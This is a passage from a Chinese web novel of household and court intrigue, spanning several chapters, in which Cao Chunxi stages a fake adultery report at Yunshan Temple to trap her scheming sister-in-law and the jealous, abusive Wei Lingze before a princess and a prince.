莫芸婉语气柔弱,带着两分委屈,沈金花当即道:“你能有个这么漂亮的镯子已经很好了,我成婚这么多年,你姑父一样首饰都没给我买过呢,反正你如今在孝期不宜打扮,不如借我戴几天吧。” 沈金花说着直接上手把那镯子撸了下来。 沈金花动作有些粗鲁,莫芸婉的手被刮红,她再也绷不住笑,沉下脸来。 沈金花见状不满道:“我就是借来戴几天,你这是什么表情,等曹春喜把萧氏的嫁妆还回来,什么样的好东西没有,一个镯子又算什么,你现在好歹是侯府的女主人,眼界就这么低?” 沈金花一番数落,全然不知自己脸上都是见财眼开。 莫芸婉不想跟她说话,揉了揉手,强迫自己温柔道:“小姑说的是,若今日的消息是真的,这个镯子就送给小姑了。” 等曹春喜被赶出侯府,整个侯府都在她的掌控之中,到时把这群上不得台面的沈家人全都赶出去,这个镯子的确算不得什么。 用镯子打发走沈金花,莫芸婉很快派了一个小厮出府。 晚饭时,沈金花把丫鬟婆子打发走,殷切地跟春喜汇报情况:“我全都按照阿喜吩咐的跟那个贱人说了,她立刻派了小厮出门,明面上瞧着是去买桐油,却钻进铺子后院跟铺子掌柜说了许久的话,肯定是在商量什么阴谋诡计要对付你呢。” 桐油铺子? 春喜试探着问:“那家铺子是不是柳记桐油铺?” 沈金花眼珠子一转,有些遗憾:“阿喜你怎么知道那家铺子是柳记?” 她还打算藏着掖着,像敲诈莫芸婉那样再狠敲春喜一笔呢。 春喜弯了弯眸:“我跟那个桐油铺子的掌柜有些过节,他帮着三弟妹害我也很正常。” 沈金花立刻追问:“那你有对策了吗?就算你不跟卫少夫人去无忧阁,让他们白白扑空,他们下次还会继续找你的茬,这根本解决不了问题。” 春喜点点头,赞同道:“小姑说得对,我这次将计就计,就是为了揪出幕后之人,永除后患,等三弟看清三弟妹真的真面目与她和离,我就把夫君母亲的嫁妆交还沈家。” 沈金花见春喜很有成算,笑着点头:“那我们就等你的好消息了。” 三日后,天还没大亮,春喜就找到莫芸婉:“昨夜我梦到母亲了,她说她死得好冤,想让我帮她主持公道,弟妹有梦到过母亲吗?” 连着喝了好几日的清水粥,春喜瘦了一些,精神也不大好,在灰蒙蒙的天色之下说莫氏死得很冤,怪吓人的。 莫芸婉起了一层鸡皮疙瘩,冷下声音:“都说日有所思夜有所梦,大嫂怕是对母亲有愧,所以才会如此吧。” 春喜摇摇头:“我没有什么愧对母亲的,不过那梦实在太真了,我要去云山寺拜拜,宵禁前回来,弟妹要跟我一起去吗?” “府里事多,我不去,大嫂自己去吧。” 莫芸婉直接拒绝,春喜也不劝她,自己坐上马车出了城。 春喜前脚刚走,莫芸婉后脚就派人去了柳记桐油铺报信。 第171章 这个时候了,你装什么装? 卫家。 天刚蒙蒙亮,萧清禾就收拾妥当,带着雀枝走出凌枫院。 她刚出院子,耳边就传来卫凌泽的声音:“这么早,夫人要去哪儿?” 自从雇了护院守着,这几日萧清禾都没有再见到卫凌泽,昏暗的天色下,卫凌泽周身冒着寒气,一双眸子死死地钉在她身上,好像她要做什么见不得人的事。 也不知道他守在这外面多久了。 萧清禾只看了一眼就移开目光,淡淡开口:“恒阳公主让我今日陪她去云山寺上香,前几日我就与母亲说过的。” “你之前跟恒阳公主也不熟,怎么突然这般熟络了?” 卫凌泽话里满是怀疑,萧清禾皱了皱眉:“上次多亏了恒阳公主送我回家,公主好心帮我,我多陪陪她也是应该的,而且恒阳公主出身高贵,多少世家夫人都想与她交好,我难道不能?” 这话带着三分怒气,很明显是在嘲讽卫凌泽不让她跟春喜过多来往。 卫凌泽没有生气,挑了下眉:“我只是关心你,你这么激动做什么。” “卫凌泽,我不是傻子,质疑和关心我还分得清。” 萧清禾说完便要越过卫凌泽离开,手腕却被抓住:“我今日休沐,可以陪夫人一同前往,正好还可以让夫人看看我为我们的孩子点的长明灯。” “恒阳公主只邀请我同往,你跟上不合适。” 萧清禾试图挣扎,卫凌泽却抓得很紧,根本不给她挣脱的机会:“到了寺里我就自己待着,不会影响夫人和公主。” 卫凌泽很霸道,决定了要陪着一起去,就不许萧清禾拒绝。 上了马车,萧清禾把头扭到一边,根本不想跟卫凌泽说话,卫凌泽不以为意,抓着她的手想要把玩,萧清禾反手就要打他,被卫凌泽迅速出手拦下。 卫凌泽冷了语气:“夫人如今好大的脾气,为夫连碰你一下都不能了是吗?” “不能,你的触碰让我感觉恶心,就连和你坐在一辆马车都恶心。” 萧清禾毫不犹豫地回答,语气里没有半点儿玩笑,认真极了。 卫凌泽原本是不相信莫芸婉送来的消息的。 在他看来,曹春喜怂恿萧清禾去无忧阁是有可能的,但萧清禾绝不可能主动提出要去无忧阁。 就算萧清禾因为那个孩子记恨他,但萧家的教养和她与生俱来的骄傲也会让她恪守妇道,绝不会与别的男子厮混。 可是萧清禾今日的态度,加上无忧阁数次坏事,卫凌泽不得不多想。 万一曹春喜联合无忧阁的人蓄意勾引呢? 无忧阁能在短短几年时间声名鹊起,说明阁中小倌极有手段,才能勾得那些贵妇人一掷千金。 萧清禾循规蹈矩这么多年,又没有接触过几个男人,她当真能扛得住? 这般想着,卫凌泽心底也冒起火来。 他虽恼恨萧家当初推迟婚礼,却从未想过萧清禾会移情别恋爱上别的人。 这比春喜的突然离开更让他无法接受。 怒火让卫凌泽的手不断收紧,萧清禾感觉到疼,当即大声唤道:“雀枝!” 坐在外面车辕的雀枝立刻掀开帘子探进脑袋:“少夫人,怎么了?” 天更亮了些,晨光瞬间涌入马车,卫凌泽的理智被拉回,他松开手,沉沉道:“既然夫人不想与我同乘,那我骑马护送夫人。” 话落,卫凌泽下了马车。 雀枝立刻爬进车里,心疼地抓着萧清禾的手吹气:“大少爷怎么又如此粗暴地对待少夫人,少夫人脖子上的掐痕如今还没全消呢。” 以前和卫凌泽闹了不快,萧清禾都会藏着掖着,不让雀枝和陪嫁嬷嬷知道,免得传回萧家,如今她却不想再遮掩了。 该三思而后行的人是卫凌泽,她为什么要委屈自己? 萧清禾和恒阳公主约好在城门口碰头,恒阳公主的马车华贵,还有二十余名护卫随行,看到卫凌泽,恒阳公主挑了下眉:“卫少夫人怎么没有提前跟我说卫大少爷也要随行,若是早知道我就不兴师动众的带这么多人了。” 萧清禾歉然道:“请公主恕罪,并非臣妇有意隐瞒,实在是夫君也没有提前与我商量,直到出门时我才知道的。” 恒阳公主这才看向卫凌泽:“卫大少爷这是何意?” 卫凌泽没想到萧清禾会如实回答,深深地看了萧清禾一眼才对恒阳公主道:“回公主,微臣和内子最近闹了点小矛盾,微臣也是今日才得知内子要出门,正好休沐,就想陪着内子一起,让内子看到微臣道歉的诚意。” 卫凌泽做惯了这种恩爱的戏码,虽然被萧清禾打了个措手不及,应对起来倒也不慌。 只是恒阳公主并不像那些未出阁的世家小姐,因为卫凌泽几句话就觉得他对萧清禾深情不已,反而嘲讽勾唇:“卫大少爷明知自己的夫人在生气,还不顾她的意愿强行陪同,如此的不尊重人,卫大少爷竟然管这叫道歉,还觉得自己很有诚意?” 说到最后,恒阳公主直接笑出声来。 卫凌泽没想到恒阳公主会如此不留情面地评价自己,脸上很是挂不住,他试图辩解:“公主误会了,我只是担心内子……” “自己的夫人带着伤独自一人下了马车,卫大少爷可以大半天不闻不问,这个时候装什么装,难道本公主比大街上那些庶民更可怕?” 恒阳公主直接打断,对卫凌泽的说辞一个字都不信。 卫凌泽握紧拳头,恒阳公主的犀利言辞让他控制不住的想萧清禾是不是在恒阳公主面前说了许多自己的坏话。 亏他还以为她不回娘家诉苦,很是顾全大局,没想到她竟在恒阳公主面前抹黑他。 她什么时候变得和那些多嘴的深闺怨妇一样了? 卫凌泽心中怒火翻涌,却不敢在恒阳公主面前显现出来,半晌开口:“公主训斥的是,都是微臣思虑不周,没有顾及内子的感受,那微臣就送到这儿吧,免得扰了公主的雅兴。” 恒阳公主笑弯了眸:“本公主就是随口这么一说,可没有不让卫大少爷一同前往的意思。” 都被那样打脸了,卫凌泽自然不会再跟着,说了几句客套话后,目送车马离开。 等马车走远,卫凌泽的眸子立刻变得阴沉可怖。 禾儿是不是早就料到恒阳公主不会让他同往? 第172章 一出大戏 恒阳公主常来云山寺,供奉的香火很多,甚至专门在寺里选了一处清幽之地修建专属禅院。 萧清禾陪着恒阳公主进到禅院,春喜已经等在里面了。 “臣妇曹春喜,拜见公主,公主万福。” 春喜规规矩矩跪下行礼。 恒阳公主没有急着叫她起身,落座后细细审视了她一番才道:“确实和传言一样,容貌并不是多出众,沈大人喜欢的应该是你的内在。” “谢公主夸赞。” 春喜并不胆怯,也没有因为恒阳公主的点评而自卑,而是立刻谢恩。 恒阳公主眼尾微挑:“地上凉,别跪着了,能让本公主如此大费周折来见面的,沈少夫人也是独一份儿的。” “谢公主不嫌臣妇晦气,”春喜没有起身,而后又道,“不过臣妇要向公主坦白一件事,还求公主恕罪。” “什么事?” “臣妇利用公主今日相邀,准备了一场大戏。” 寺里提前得了信,一大早就送了素食点心来,恒阳公主被春喜的话勾起兴致,她没有打断,而是好心情地吃起点心来。 春喜便把自己嫁进侯府这段时间发生的事简要说了一遍,最后道:“婆母死得蹊跷,身边心腹贾嬷嬷死后的尸身更是离奇失踪,我怀疑是三弟妹害了婆母,但三弟妹一人肯定做不到天衣无缝,所以借着今日演一场戏,想要引蛇出洞。” 家宅阴私本就惹人探究,这还没有盖棺定论的事就更让人有参与感了。 恒阳公主忍不住问:“你都看出来她有问题了,清远侯和其他人难道看不出来?” “公爹的心思都在外面的狐狸精身上,哪里会在意这些细节,二弟三弟本就对我有偏见,如今因为分家之事,更是看我不顺眼,自然都觉得是我气死了母亲,这也给了三弟妹浑水摸鱼的机会。” 恒阳公主点点头:“所以你的计划是什么?” “回公主,我让人私下透露消息给三弟妹,说我今日与卫少夫人要招无忧阁的小倌玩乐,一会儿无忧阁的岚舒公子就会带人来寺里帮忙演戏,来云山寺的都是达官显贵人,想必能来帮三弟妹捉奸之人身份也不低,到时还得请公主帮臣妇证明清白。” 春喜全盘托出,恒阳公主吃掉手上的点心,意味不明地问:“你这般先斩后奏,就不怕本公主生气治你的罪?” 萧清禾并不知道春喜的计划,想到卫凌泽临时陪同都被恒阳公主讥讽了一番,萧清禾连忙跪到春喜身边:“那莫芸婉连清远侯夫人都敢加害,指不定还会做出什么恶事,小婶婶这么做也是为了自保被逼无奈,求公主恕罪!” 恒阳公主并没有因为萧清禾的话揭过这件事,仍直勾勾地盯着春喜,春喜冷静开口:“公主愿意如此大费周章地约见臣妇,想来并不是会受世俗眼光约束的人,所以臣妇才敢冒险一试,卫少夫人并不知道臣妇今日所为,公主要罚就罚臣妇一人吧。” 春喜说着磕了个头。 萧清禾急得不行,正想再求情,忽听得恒阳公主噗嗤一声笑了出来:“沈少夫人果然名不虚传,是个妙人,这次见面也比本公主想象中的有意思多了,不枉本公主专程来此。” 恒阳公主笑着让两人起身,而后问:“沈少夫人和无忧阁的人很熟吗?” “算不得多熟,就是上次选魁首,去凑过一次热闹罢了。” 春喜并未隐瞒。 她之前从未有机会接触恒阳公主,就算分家的时候闹出了一些笑话,但也不至于让恒阳公主亲自来见,思来想去,便只有无忧阁这一桩事还算特别。 果然,她话音刚落,恒阳公主便高兴道:“你也去看魁首遴选了,感觉如何?” 春喜仍记得那晚所有人的表现,如实点评了一番,最后道:“臣妇觉得这些人里还是岚舒公子和无忧阁阁主最好。” 春喜的点评深得恒阳公主的心,她不住点头,听到最后忍不住热切地拉起春喜的手:“本公主也是这样觉得的,下次再有魁首选拔,你陪我一起去,我一个人看实在是太无聊了。” 春喜露出纠结之色:“臣妇是想陪公主一起去,可他们的票卖得太贵了,臣妇实在肉疼。” 恒阳公主很喜欢春喜有话直说,弯眸道:“既是本公主邀请的你,哪有要你出钱的份儿,你且把心放进肚子里吧。” 恒阳公主和春喜聊得热火朝天,萧清禾在一旁却有些心不在焉。 她脑海里不断回想着春喜的话,还有今早卫凌泽突然非要陪她来云山寺的场景。 莫名的,她觉得在背后支持莫芸婉的人是卫凌泽。 莫芸婉在徐州死而复生,如果沈叔叔和小婶婶的感情不是很好,就会让莫芸婉钻到空子,而眼下莫氏被害,好不容易升入御史台的沈叔叔又不得不停职丁忧守孝,小婶婶和沈叔叔也因此暂时分开。 如今她知道卫凌泽对小婶婶存着什么样的心思,很难不往卫凌泽身上联想。 而且小婶婶并未与她商量今日之事,是不是和她有着同样的怀疑? 与此同时,莫芸婉带着沈金花来到莫氏的墓前。 “大哥,不好了,大嫂今天私自出门去了,而且还要……” 莫芸婉欲言又止,似是难以启齿,沈清宇听到这事和春喜有关,立刻追问沈金花:“小姑,到底发生了什么事,你倒是快说啊。” 沈金花没有羞怯,把之前跟莫芸婉说的那套词又背了一遍。 沈清渊还没有什么反应,沈清宇便激动出声:“这个贱人,娘才刚走几日,她竟然就耐不住寂寞要去找无忧阁的小倌寻乐子,我今日……” 沈清宇话没说完,就被沈清渊一脚踢中膝弯,扑通一声跪了下去。 “大哥,那个贱人都给你戴绿帽子了,你竟然还要护着她?” 沈清宇难以置信地瞪着沈清渊,然而话音刚落,脸上就挨了一巴掌。 沈清渊手劲儿大,沈清宇感觉自己半张脸都被扇得没了知觉,他气得想骂人,对上沈清渊冷森森的目光,连忙捂脸闭嘴。 耳边清净了,沈清渊才看向莫芸婉:“她现在在哪儿?” 莫芸婉也被沈清渊的眼神震慑,稳了稳呼吸才开口:“大嫂现在应该在云山寺。” 话落,沈清渊揪起沈清宇的衣领就往前走,几步之后,他扭头看向莫芸婉,沉沉命令:“跟上。” 莫芸婉呼吸一滞,舌头跟着打结:“大……大哥,府里还有事,我就不用跟着一起去了吧。” 沈清渊没有回答,瞥了沈金花一眼,沈金花立刻挽住莫芸婉的胳膊:“去,府里的零碎杂事哪有这件事重要,咱们正好一起看看那曹春喜的真面目!” 沈金花说完,不由分说地拽着莫芸婉往前走,莫芸婉看着沈清渊的背影,心中莫名不安。 就算曹春喜没有招小倌,她也可以把责任都推到沈金花身上,应该不会有事吧? 第173章 捉奸 恒阳公主和萧清禾走后,卫凌泽并没有回家,而是在城门口一家茶肆坐了下来。 没过多久,行舟来报:“大少爷,无忧阁的人出发了。” 一盏茶后,岚舒骑着马出现在卫凌泽的视线之中。 在他身后,还跟着一个人。 那人身着一袭银灰色织锦华服,腰间别着一把长剑,肩宽腿长,虽戴着半张面具,看不到完整面目,却是鲜衣怒马、意气风发。 卫凌泽原本是气定神闲的,看到岚舒身后的人后,猛然捏紧茶杯,行舟更是惊呼出声:“大少爷,这个人好像你啊!” “啪”的一声。 卫凌泽捏碎了手里的茶杯,锋利的碎片刺破掌心,鲜血立刻涌出,行舟连忙上前帮他处理伤口,卫凌泽却好像没了痛觉,只寒森森地盯着行舟:“你刚刚说什么?” 行舟被看得头皮发麻,抬手给了自己两耳光:“小人失言,求大少爷恕罪!” 大少爷身份尊贵,无忧阁的男妓怎能与他相提并论? 可那个人真的很像大少爷。 不只是衣着打扮,还有那周身的气度,像极了三年前,还未受伤的大少爷。 行舟改了口,卫凌泽的表情却没有缓和分毫。 自受伤以来,他和萧清禾过往的回忆就越来越淡,每每看到萧清禾对自己的抗拒,脑海里浮现的都是对她和萧家的怨怼。 明明两家是世交,他和她还是青梅竹马,结果他出了事,萧家竟然明知要背负骂名,也要推迟婚礼。 他觉得这是对他的背叛和鄙夷。 可今日看到那个背影,他突然发现那些记忆并未被他遗忘,而是刻进了骨髓深处。 他记得自己有一身一模一样的银灰色衣裳,他穿着那身衣裳去参加了萧清禾的及笄礼,在笄礼结束后,还带着萧清禾丢下满座宾客出了府。 他带她游湖泛舟,还为她准备了绚丽的烟花,在烟花之下,他紧张又小心地亲了她的脸颊。 那是他第一次亲她。 不像成婚后急切粗暴,而是充满期待和欢喜的。 她又羞又恼,嗔怪地推开他,眉眼里却盛满了欢喜。 那时他想,这就是他要娶回家的姑娘,他会用一生去疼她爱她呵护她,绝不让她受一点儿委屈。 可是后来,他把这些忘得一干二净。 卫凌泽突然不可自抑地慌乱起来。 他有自信萧清禾不会喜欢上别人,但如果无忧阁打造出了他少时的替代品,那他必输无疑! 失控的心慌让卫凌泽皱紧眉头,他蹭地一下站起来,快步走出茶楼,策马追出城去。 云山寺山脚下。 萧夜辰和岚舒从小路上山。 萧夜辰已经洗掉脸上的妆,薄唇抿成线,即便戴着面具也能看出他现在不高兴极了。 岚舒叹了口气,幽幽道:“我都说了可以找其他人配合演戏,我这易容术早已出神入化,不管是谁穿上这身衣服都能跟那位卫少爷有六七分像,你既然这么讨厌他,何必还要揽下这桩差事呢,也不怕恶心到自己?” “你不说话没人把你当哑巴。” 萧夜辰冷冷开口,透过面具恶狠狠地瞪了岚舒一眼。 岚舒一点儿也不害怕,反而弯眸笑起。 这人为了心上人都愿意把自己扮成情敌的样子了,哪有半点儿以前的冷酷无情,分明是绝世大情种。 这种人啊,最是心软了。 “听说沈少夫人并没有跟卫少夫人商量今天的计划,也不知道卫少夫人看到夫君赶来捉奸会有多难过,卫少夫人都猜出你的身份了,你也不提前知会她一声,就不怕她连你也怨上?” 萧夜辰没有应声,只是加快了速度。 “我就是觉得无聊想说说话,阁主你别丢下我一个人啊,这荒山野岭的,人家好害怕~” 岚舒看着文弱,却稳稳跟上萧夜辰,并未被甩下。 萧夜辰听着他故意拉长的声音,太阳穴突突地跳了两下,忍不住开口:“滚!” *** 岚舒和萧夜辰的动作很快,卫凌泽追出城并未发现两人的身影,只能一路追到云山寺。 云山寺的香火鼎盛,有很多人不远千里慕名而来,即便临近午时,山道上也还是人来人往。 卫凌泽以最快的速度上山,守门的沙弥却说并没有见过岚舒和萧夜辰,卫凌泽皱了皱眉又问:“那恒阳公主现在可在寺中?” “阿弥陀佛,施主若要求缘问佛,可自行进殿叩拜,这是积善之地,并不是寻人之所。” 沙弥双手合十鞠了一躬,不再理会。 卫凌泽抿了抿唇,自行在寺中找寻起来。 与此同时,沈清渊也带着沈清宇他们来到寺门口。 沈清渊体力好,一口气上山还脸不红气不喘,沈清宇却累得够呛,莫芸婉更是娇弱不胜,半路就爬不动了,但沈清渊不许他们停,沈清宇只能背着莫芸婉上山。 看到佛光笼罩的寺门时,沈清宇险些以为自己来到了阎王殿。 “三郎,你还好吗?” 莫芸婉捏着帕子帮沈清宇擦汗,沈清宇强行打起精神:“我没事!” 今天不把曹春喜捉奸在床,他就不姓沈! 这般想着,沈清宇趾高气扬地冲进寺中,但看着来来往往的香客,他一时有些无从下手。 曹春喜现在在哪儿? 他该如何在不惊动这对奸夫淫妇的情况下把他们抓奸在床? 正迷茫着,人群中突然有人唤他:“三少爷,你可算来啦。” 话落,一个穿着粗布短打的小厮来到他面前。 沈清宇皱眉:“你是谁?” “回三少爷,小人是府里的马夫,今日是小人送大少夫人来寺里的,大少夫人入寺后,去了女眷住的禅房,小人一直在门口守着,大少夫人并未出来。” 这人是得了莫芸婉特别嘱咐专门盯着春喜的。 沈清宇顿时有了方向,他脚步一转,立刻朝女眷所在的禅院方向走去,然而没走多久,就被寺里的武僧拦下。 “前面是女眷禅院,施主请留步。” “我大嫂在里面,我要去找她。” 沈清宇边说边往里闯,被其中一个武僧一掌推开:“这里只有虔心敬拜的香客,没有俗世烦扰,请施主在外等候,待修禅结束,自然会见到你想见的人。” 沈清宇急着捉奸,哪里等得了,当即大声嚷道:“她打着上香的名义来这里偷人呢,你这样拦着我也不怕那个贱人污了佛门净地?” 这话一出,四下静寂。 原本只是拦着沈清宇的武僧走过来将他团团围住,像极了殿中供奉的怒目金刚。 第174章 再次交锋 云山寺香客云集,寺中主持更是德高望重,连陛下都要敬让两分。 寺中僧人虽然都奉行与人为善、普度众生,但如果有人敢在寺中闹事,不管来人是什么身份,那铜皮铁骨的武僧都会将人押至戒律堂严惩不贷。 卫凌泽没敢大张旗鼓地找人,悄无声息地施展轻功在寺中穿梭探寻。 然而他找了半晌,既没有看到岚舒和那个戴面具的少年,也没有看到萧清禾和恒阳公主。 找人的时间越长,卫凌泽的心越是焦灼。 理智告诉他应该冷静,禾儿就算真的对无忧阁那个替身感兴趣,也不会跟那种人做出苟且之事,脑子里却不断联想浮现那男妓跪在禾儿面前谄媚讨好的场景。 不同于他这些日子的粗暴可怖,那男妓温柔又卑微,只要能取悦恩客,什么事都做得出来,哪个被丈夫冷落虐待的女人能受得住? 而且无忧阁还有那么多可以催人动情的秘药,万一禾儿一不小心着了道,被那男妓得了手怎么办? 脑海中的画面渐渐变得旖旎,卫凌泽心急如焚,此时已经完全忘记这个消息是莫芸婉传出来的,很有可能是春喜设的局,满脑子只想着赶紧找到萧清禾,将她带回家,再也不让她出门,不给她任何接触无忧阁那些人的机会! 所以禾儿现在到底在哪儿? 卫凌泽急得咬牙,余光忽然扫到一个人影快速从转角处掠过。 那人身上的衣裳有些像雀枝。 卫凌泽立刻追上去,然而不过转瞬,“雀枝”却不见了踪影。 卫凌泽皱紧眉头,正觉得有些不对劲,不远处突然传来一声女子的惊呼。 禾儿! 卫凌泽顿时打消疑虑,飞快地朝声音的来源掠去。 没一会儿,一座清幽的禅院映入眼帘。 禅院外有人把守,看衣着很像是恒阳公主带的那些护卫。 就是这里。 卫凌泽眸子一凛,本想躲过那些护卫直接进院查看情况,对方却很快察觉,将他拦下:“主子有令,擅闯者死!” 十余名护卫把卫凌泽团团围住,与此同时,院中传来娇笑和喘息的声音。 “别这样,人家害羞……” 卫凌泽周身顿时带了杀气,他气红了眼,提着剑和这些护卫厮杀起来。 心中怒火太甚,十余名护卫竟是拦不住他。 约莫一炷香后,卫凌泽提着染血的剑,带着伤一步步走进禅院,直奔那间紧闭的禅房。 在他抬手想要推开禅房门的那一刻,房门突然打开,寒光乍现,戴着面具的萧夜辰从屋里杀出。 卫凌泽立刻运气后退,然而脸颊还是被划了一道小口子。 一个赝品,竟然妄想杀了他这个正主? 怒气达到巅峰,卫凌泽当即提剑反击。 交手之后,卫凌泽越发心惊。 这个赝品用的好多招式竟然都和他一样。 这个人认识他,并且暗中窥视了很多年,不然绝不可能模仿到如此地步! 所以这个人对禾儿也觊觎已久了吗? 他从什么时候开始接近禾儿的?面具之下到底有着怎样一张脸?禾儿是从什么时候知道他的存在的? 无数疑问涌出脑海,卫凌泽使出来的剑招开始有了破绽,萧夜辰看准时机,一脚踢中卫凌泽的手腕,将他手中的剑挑飞,同时用剑抵上他的脖子。 胜负已定。 他输了。 卫凌泽死死地咬牙,盯着面具下那双挑衅又得意的眸,他不信这个男妓真的敢杀自己,冷冷开口:“狗东西,滚开!” 萧夜辰没滚,手腕微微用力,划破了卫凌泽的脖子,用行动证明,他没什么不敢做的。 脖子上的刺痛让卫凌泽怒不可遏,他正要发疯,一个阴沉冷寒的声音传来:“卫大少爷,你杀了本王的护卫,闯入本王的禅院究竟意欲何为?” 卫凌泽浑身一僵,难以置信地偏头,看到了满脸寒霜的瑛王。 岚舒站在瑛王身后,揪着瑛王的袖子,眼里含着泪,像只纯良无害的兔子:“卫大少爷,上次奴家真的不是故意故意把夺魂香撒你身上的,是你自己撞上来的,好多人都看见了,你怎么还追到这儿来要杀奴家?” 和前几次见面不同,岚舒的声音很细很柔,像极了女子,这音色乍一听很像萧清禾,但仔细一听就不像了。 卫凌泽如遭雷击,再看萧夜辰,面具之下那张脸,也并不像自己了。 这个时候,卫凌泽自是反应过来自己是中了圈套,然而不等他解释,寺里的武僧就赶来保护瑛王,原本要被押去戒律堂受罚的沈清宇也趁乱赶来。 沈清宇并未看清禅院里的情况,只在进门时看到卫凌泽,便觉得有了靠山,底气十足地大声嚷道:“好一对奸夫淫妇,竟敢在佛门净地干这种龌龊事,我今日就绑了你们游街浸猪笼!” 沈清宇一路咋咋呼呼,引得不少香客跟着来看热闹。 瑛王的脸彻底黑了下去。 被人打扰兴致也就算了,还要被指着鼻子骂奸夫淫妇,他的颜面何存? “放肆!谁给你的胆子在本王面前口出狂言?” 瑛王快步上前,一拳把沈清宇揍趴在地。 沈清宇脑瓜子嗡嗡的,嘴跑得比脑子快,他疑惑地看向卫凌泽:“卫少夫人呢,她不是跟曹春喜在一块儿吗?” 蠢货! 卫凌泽恨不得一剑捅死沈清宇。 果然,听完沈清宇的话,瑛王冷笑出声:“原来卫大少爷是来捉自家新夫人的奸啊,这边禅院住的都是男客,卫大少爷不识路,本王亲自带卫大少爷去。” “王爷,这里面有误会,”卫凌泽急急解释,瞪着岚舒和萧夜辰说,“是他们故意设局引我过来的,我并没有冒犯王爷的意思。” 瑛王听不进去,抓着卫凌泽大步朝女眷所住的禅院走去:“卫大少爷不必急着辩解,待会儿见到卫少夫人,有的是时间慢慢说清楚!” 瑛王的护卫被卫凌泽杀了个七七八八,尸体还横在地上,云山寺的武僧也不好从中阻拦,只能派人去通知主持。 一众香客从未在寺里见过如此热闹,全都跟着一起。 没一会儿,一群人便浩浩荡荡地来到恒阳公主所在的禅院。 第175章 我曹春喜可是软柿子? “公主殿下在此修禅,不许任何人打搅!” 门口的护卫将瑛王和众人拦下,瑛王直接朝院内高声喊道:“卫大少爷要见卫少夫人,还请卫少夫人出来说话。” 话落不久,禅院的门就被丫鬟推开。 恒阳公主带着萧清禾走出来,最后面还跟着个春喜。 看到春喜,卫凌泽的眼睛都要喷出火来,躲在后面的沈清宇更是大叫出声:“曹春喜,你怎么在这儿?” 话音刚落,恒阳公主身后的婆子便冲过去狠狠给了沈清宇两巴掌:“放肆,公主面前,岂容你大呼小叫?” 沈清宇才被瑛王打了一拳,这会儿又挨了两巴掌,竟被打掉一颗牙,脸也高高肿起。 他终于意识到皇家威仪不容冒犯,憋着一肚子火闭上了嘴。 恒阳公主并未看其他人,只看着瑛王:“云山寺是修禅净心之地,皇兄带着这么多人来找我,若不能给我个满意的说法,我可不依?” 恒阳公主面上带笑,话里却带着威胁。 她是陛下一母同胞的妹妹,即便是瑛王在她面前也要避让三分。 瑛王看向恒阳公主身后的萧清禾,扬声道:“皇妹莫急,本王也是无端被卫大少爷搅扰,才来此寻卫少夫人当面对质要个说法,等真相大白,皇妹再找罪魁祸首问罪也不迟。” “卫大少爷搅扰了皇兄,这干卫少夫人何事?” 恒阳公主仍是没有看卫凌泽,只看着瑛王,卫凌泽抢先道:“回公主,我是被人设局引过来的,还请公主和王爷给我几日时间,我定能查明真相给二位一个交代!” 卫凌泽压着怒火放低姿态。 从发现中计到现在他想了很多,春喜设的这个局其实破绽百出、并不精妙,若他冷静沉着一些,绝不会上当,但萧夜辰的背影给他带来的冲击太大,而且这段时间他和禾儿吵闹的次数太多,他根本不相信禾儿会一直坚定地站在自己身边,才会方寸大乱落入圈套。 只要瑛王和恒阳公主不要继续深究,那就还不至于闹得太难看。 卫凌泽已经想好要如何向两人赔罪,然而瑛王却没有给他这个机会,冷声嗤笑:“卫大少爷闯进来捉奸,虐杀本王护卫的时候怎么没想过要先查明真相?” 瑛王没有半点要给卫凌泽留面子的意思,直接把这件事公之于众。 卫凌泽握紧拳头,忽地瞥见瑛王身后的岚舒勾唇在笑。 他猛然意识到,岚舒他们引他去瑛王的禅院,不只是因为瑛王地位高,能够压制住他,更因为瑛王有好男风的私癖,他搅扰了瑛王的好事,还让这么多人看到瑛王和无忧阁的人在一起,瑛王的自尊心受挫,自然不会轻易放过他。 无忧阁,一个卖弄男色的龌龊之地,为什么要帮着曹春喜如此算计他? 卫凌泽想不明白,怄得要吐血。 因为瑛王那句话,所有人的目光都落在萧清禾身上。 今日要来礼佛,她穿得很是素净,脸上粉黛未施,却越发清丽脱俗,站在这肃穆之地,竟隐隐有种悲天悯人的神性。 这么美的姑娘,便是生在寻常人家,那提亲的人也是要踏破门槛的啊。 她却硬生生痴等了心上人三年,然而成婚不过数月,就闹出捉奸的丑闻,这也太讽刺了。 萧清禾微垂着脑袋,并没有看卫凌泽,不知在想什么。 在众人唏嘘的注视之下,恒阳公主终于看向卫凌泽:“是本公主邀请卫少夫人今日陪我来礼佛的,卫大少爷还在城门口见到了本公主,扭头却跑来捉奸,卫大少爷这是不相信自己的夫人还是怀疑本公主是那逼良为娼的老鸨?” 恒阳公主声音温柔,背后却蕴含着极大的威压。 “请公主恕罪,微臣不敢!” 卫凌泽连忙告罪,恒阳公主却不吃这套:“敢不敢的卫大少爷都已经这么做了,还请卫大少爷给个合理的解释。” 说着话,恒阳公主给身边人递了个眼神,很快便有下人抬来椅子。 恒阳公主优雅落座,等着卫凌泽解释。 卫凌泽眼神发寒,恨不得活剥了春喜。 他要解释自己为什么会落入圈套,就得暴露他和莫芸婉私下联络,让人监视春喜的事。 他如今是春喜名义上的晚辈,一个做晚辈的,凭什么把手伸到长辈家里监视长辈? 这事他更说不清。 卫凌泽再一次尝到了有口难言的滋味,他抿了抿唇,正要认下这件事,说自己瘫痪三年太过自卑所以有些疑神疑鬼,沈清宇这个蠢货却再一次比他更快开口:“是曹春喜设的计,她故意放出消息,说她要和卫少夫人招无忧阁的小倌寻乐子,我们才会上当来此的。” 瑛王不太喜欢八卦,他疑惑地问:“曹春喜是谁?” 春喜在这时上前:“启禀王爷,臣妇就是曹春喜,臣妇的夫君是前不久才升入御史台的御史中丞沈清渊。” 瑛王对沈清渊倒是有印象,他点点头问:“沈夫人有什么要说的?” “回王爷,臣妇从未收到过卫少夫人的邀约,今日来云山寺,是因为昨晚婆母托梦喊冤,心中不安,所以来拜拜,结果恰好遇到公主和卫少夫人,承蒙公主不嫌弃,这才到禅院与公主聊了会儿天。” 春喜直接否认,又解释了自己为什么会出现在云山寺,然后看向沈清宇:“三弟指认我陷害卫大少爷,可有人证物证?” 沈清宇下意识地在人群里搜寻沈金花的身影,不等他找到人,春喜又看着卫凌泽问:“侄婿与大侄女是青梅竹马、两小无猜,我与侄婿向来不对付,侄婿收到这种消息,应该不会轻信才是,怎会上当来此,还冲动行事扰了王爷清修,难道是我收买了侄婿的心腹,叫侄婿不得不信?” 